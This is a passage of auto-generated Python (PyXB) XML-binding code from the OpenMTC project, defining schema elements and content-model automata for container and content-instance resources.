transitions = []
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_7, True)]))
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_7, False)]))
transitions.append(fac.Transition(st_9, [
fac.UpdateInstruction(cc_7, False)]))
transitions.append(fac.Transition(st_10, [
fac.UpdateInstruction(cc_7, False)]))
transitions.append(fac.Transition(st_11, [
fac.UpdateInstruction(cc_7, False)]))
st_7._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_8, True)]))
transitions.append(fac.Transition(st_9, [
fac.UpdateInstruction(cc_8, False)]))
transitions.append(fac.Transition(st_10, [
fac.UpdateInstruction(cc_8, False)]))
transitions.append(fac.Transition(st_11, [
fac.UpdateInstruction(cc_8, False)]))
st_8._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_9, [
fac.UpdateInstruction(cc_9, True)]))
transitions.append(fac.Transition(st_10, [
fac.UpdateInstruction(cc_9, False)]))
transitions.append(fac.Transition(st_11, [
fac.UpdateInstruction(cc_9, False)]))
st_9._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_10, [
fac.UpdateInstruction(cc_10, True)]))
transitions.append(fac.Transition(st_11, [
fac.UpdateInstruction(cc_10, False)]))
st_10._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_11, [
fac.UpdateInstruction(cc_11, True)]))
st_11._set_transitionSet(transitions)
return fac.Automaton(states, counters, True, containing_state=None)
Container._Automaton = _BuildAutomaton_32()
ContainerAnnc._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'accessRightID'),
pyxb.binding.datatypes.anyURI, scope=ContainerAnnc,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 10,
4)))
ContainerAnnc._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'expirationTime'),
pyxb.binding.datatypes.dateTime, scope=ContainerAnnc,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 16,
4)))
ContainerAnnc._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'searchStrings'), SearchStrings,
scope=ContainerAnnc, location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 18,
4)))
ContainerAnnc._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'announceTo'), AnnounceTo,
scope=ContainerAnnc, location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 58,
4)))
ContainerAnnc._AddElement(
pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, u'link'),
pyxb.binding.datatypes.anyURI,
scope=ContainerAnnc,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd',
74, 4)))
def _BuildAutomaton_33():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_33
del _BuildAutomaton_33
import pyxb.utils.fac as fac
counters = set()
cc_0 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/containerAnnc.xsd',
13, 12))
counters.add(cc_0)
cc_1 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/containerAnnc.xsd',
14, 12))
counters.add(cc_1)
cc_2 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/containerAnnc.xsd',
15, 12))
counters.add(cc_2)
cc_3 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/containerAnnc.xsd',
16, 12))
counters.add(cc_3)
states = []
final_update = set()
symbol = pyxb.binding.content.ElementUse(ContainerAnnc._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'link')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/containerAnnc.xsd',
12, 12))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_0)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_0, False))
symbol = pyxb.binding.content.ElementUse(ContainerAnnc._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'accessRightID')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/containerAnnc.xsd',
13, 12))
st_1 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_1)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_1, False))
symbol = pyxb.binding.content.ElementUse(ContainerAnnc._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'searchStrings')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/containerAnnc.xsd',
14, 12))
st_2 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_2)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_2, False))
symbol = pyxb.binding.content.ElementUse(ContainerAnnc._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'expirationTime')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/containerAnnc.xsd',
15, 12))
st_3 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_3)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_3, False))
symbol = pyxb.binding.content.ElementUse(ContainerAnnc._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'announceTo')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/containerAnnc.xsd',
16, 12))
st_4 = fac.State(symbol, is_initial=False, final_update=final_update,
is_unordered_catenation=False)
states.append(st_4)
transitions = []
transitions.append(fac.Transition(st_1, [
]))
transitions.append(fac.Transition(st_2, [
]))
transitions.append(fac.Transition(st_3, [
]))
transitions.append(fac.Transition(st_4, [
]))
st_0._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_0, True)]))
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_0, False)]))
st_1._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_1, True)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_1, False)]))
st_2._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_2, True)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_2, False)]))
st_3._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_3, True)]))
st_4._set_transitionSet(transitions)
return fac.Automaton(states, counters, False, containing_state=None)
ContainerAnnc._Automaton = _BuildAutomaton_33()
Containers._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'accessRightID'),
pyxb.binding.datatypes.anyURI, scope=Containers,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 10,
4)))
Containers._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'creationTime'),
pyxb.binding.datatypes.dateTime, scope=Containers,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 12,
4)))
Containers._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime'),
pyxb.binding.datatypes.dateTime, scope=Containers,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 14,
4)))
Containers._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'subscriptionsReference'),
pyxb.binding.datatypes.anyURI, scope=Containers,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 76,
4)))
Containers._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'containerCollection'),
NamedReferenceCollection, scope=Containers,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/containers.xsd', 24,
4)))
Containers._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'containerAnncCollection'),
NamedReferenceCollection, scope=Containers,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/containers.xsd', 25,
4)))
Containers._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'locationContainerCollection'),
NamedReferenceCollection, scope=Containers,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/containers.xsd', 27,
4)))
Containers._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'locationContainerAnncCollection'),
NamedReferenceCollection, scope=Containers,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/containers.xsd', 29,
4)))
def _BuildAutomaton_34():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_34
del _BuildAutomaton_34
import pyxb.utils.fac as fac
counters = set()
cc_0 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/containers.xsd',
12, 12))
counters.add(cc_0)
cc_1 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/containers.xsd',
13, 12))
counters.add(cc_1)
cc_2 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/containers.xsd',
14, 12))
counters.add(cc_2)
cc_3 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/containers.xsd',
16, 12))
counters.add(cc_3)
cc_4 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/containers.xsd',
17, 12))
counters.add(cc_4)
cc_5 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/containers.xsd',
18, 12))
counters.add(cc_5)
cc_6 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/containers.xsd',
19, 12))
counters.add(cc_6)
cc_7 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/containers.xsd',
20, 12))
counters.add(cc_7)
states = []
final_update = set()
final_update.add(fac.UpdateInstruction(cc_0, False))
symbol = pyxb.binding.content.ElementUse(Containers._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'accessRightID')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/containers.xsd',
12, 12))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_0)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_1, False))
symbol = pyxb.binding.content.ElementUse(Containers._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'creationTime')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/containers.xsd',
13, 12))
st_1 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_1)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_2, False))
symbol = pyxb.binding.content.ElementUse(Containers._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/containers.xsd',
14, 12))
st_2 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_2)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_3, False))
symbol = pyxb.binding.content.ElementUse(Containers._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'containerCollection')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/containers.xsd',
16, 12))
st_3 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_3)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_4, False))
symbol = pyxb.binding.content.ElementUse(Containers._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'containerAnncCollection')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/containers.xsd',
17, 12))
st_4 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_4)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_5, False))
symbol = pyxb.binding.content.ElementUse(Containers._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'locationContainerCollection')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/containers.xsd',
18, 12))
st_5 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_5)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_6, False))
symbol = pyxb.binding.content.ElementUse(Containers._UseForTag(
pyxb.namespace.ExpandedName(Namespace,
u'locationContainerAnncCollection')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/containers.xsd',
19, 12))
st_6 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_6)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_7, False))
symbol = pyxb.binding.content.ElementUse(Containers._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'subscriptionsReference')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/containers.xsd',
20, 12))
st_7 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_7)
transitions = []
transitions.append(fac.Transition(st_0, [
fac.UpdateInstruction(cc_0, True)]))
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_0, False)]))
st_0._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_1, True)]))
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_1, False)]))
st_1._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_2, True)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_2, False)]))
st_2._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_3, True)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_3, False)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_3, False)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_3, False)]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_3, False)]))
st_3._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_4, True)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_4, False)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_4, False)]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_4, False)]))
st_4._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_5, True)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_5, False)]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_5, False)]))
st_5._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_6, True)]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_6, False)]))
st_6._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_7, True)]))
st_7._set_transitionSet(transitions)
return fac.Automaton(states, counters, True, containing_state=None)
Containers._Automaton = _BuildAutomaton_34()
ContentInstance._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'creationTime'),
pyxb.binding.datatypes.dateTime, scope=ContentInstance,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 12,
4)))
ContentInstance._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime'),
pyxb.binding.datatypes.dateTime, scope=ContentInstance,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 14,
4)))
ContentInstance._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'searchStrings'), SearchStrings,
scope=ContentInstance, location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 18,
4)))
ContentInstance._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'delayTolerance'),
pyxb.binding.datatypes.dateTime, scope=ContentInstance,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 72,
4)))
ContentInstance._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'content'), Content,
scope=ContentInstance, location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstance.xsd',
28, 4)))
ContentInstance._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'contentSize'),
pyxb.binding.datatypes.long, scope=ContentInstance,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstance.xsd',
40, 4)))
ContentInstance._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'contentTypes'), ContentTypes,
scope=ContentInstance, location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstance.xsd',
41, 4)))
def _BuildAutomaton_35():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_35
del _BuildAutomaton_35
import pyxb.utils.fac as fac
counters = set()
cc_0 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstance.xsd',
16, 12))
counters.add(cc_0)
cc_1 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstance.xsd',
17, 12))
counters.add(cc_1)
cc_2 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstance.xsd',
18, 12))
counters.add(cc_2)
cc_3 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstance.xsd',
19, 12))
counters.add(cc_3)
cc_4 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstance.xsd',
20, 12))
counters.add(cc_4)
cc_5 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstance.xsd',
21, 12))
counters.add(cc_5)
cc_6 = fac.CounterCondition(min=0L, max=1,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstance.xsd',
22, 12))
counters.add(cc_6)
states = []
final_update = set()
final_update.add(fac.UpdateInstruction(cc_0, False))
symbol = pyxb.binding.content.ElementUse(ContentInstance._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'creationTime')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstance.xsd',
16, 12))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_0)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_1, False))
symbol = pyxb.binding.content.ElementUse(ContentInstance._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstance.xsd',
17, 12))
st_1 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_1)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_2, False))
symbol = pyxb.binding.content.ElementUse(ContentInstance._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'delayTolerance')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstance.xsd',
18, 12))
st_2 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_2)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_3, False))
symbol = pyxb.binding.content.ElementUse(ContentInstance._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'searchStrings')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstance.xsd',
19, 12))
st_3 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_3)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_4, False))
symbol = pyxb.binding.content.ElementUse(ContentInstance._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'contentTypes')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstance.xsd',
20, 12))
st_4 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_4)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_5, False))
symbol = pyxb.binding.content.ElementUse(ContentInstance._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'contentSize')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstance.xsd',
21, 12))
st_5 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_5)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_6, False))
symbol = pyxb.binding.content.ElementUse(ContentInstance._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'content')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstance.xsd',
22, 12))
st_6 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_6)
transitions = []
transitions.append(fac.Transition(st_0, [
fac.UpdateInstruction(cc_0, True)]))
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_0, False)]))
st_0._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_1, True)]))
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_1, False)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_1, False)]))
st_1._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_2, True)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_2, False)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_2, False)]))
st_2._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_3, True)]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_3, False)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_3, False)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_3, False)]))
st_3._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_4, True)]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_4, False)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_4, False)]))
st_4._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_5, True)]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_5, False)]))
st_5._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_6, True)]))
st_6._set_transitionSet(transitions)
return fac.Automaton(states, counters, True, containing_state=None)
ContentInstance._Automaton = _BuildAutomaton_35()
ContentTypes._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'contentType'),
pyxb.binding.datatypes.string, scope=ContentTypes,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 106,
4)))
def _BuildAutomaton_36():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_36
del _BuildAutomaton_36
import pyxb.utils.fac as fac
counters = set()
states = []
final_update = set()
symbol = pyxb.binding.content.ElementUse(ContentTypes._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'contentType')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/contentInstance.xsd',
45, 12))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_0)
transitions = []
transitions.append(fac.Transition(st_0, [
]))
st_0._set_transitionSet(transitions)
return fac.Automaton(states, counters, False, containing_state=None)
ContentTypes._Automaton = _BuildAutomaton_36()
ContentInstances._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'creationTime'),
pyxb.binding.datatypes.dateTime, scope=ContentInstances,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 12,
4)))
ContentInstances._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'lastModifiedTime'),
pyxb.binding.datatypes.dateTime, scope=ContentInstances,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 14,
4)))
ContentInstances._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'subscriptionsReference'),
pyxb.binding.datatypes.anyURI, scope=ContentInstances,
location=pyxb.utils.utility.Location(
u'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/common.xsd', 76,
4)))
ContentInstances._AddElement(pyxb.binding.basis.element(
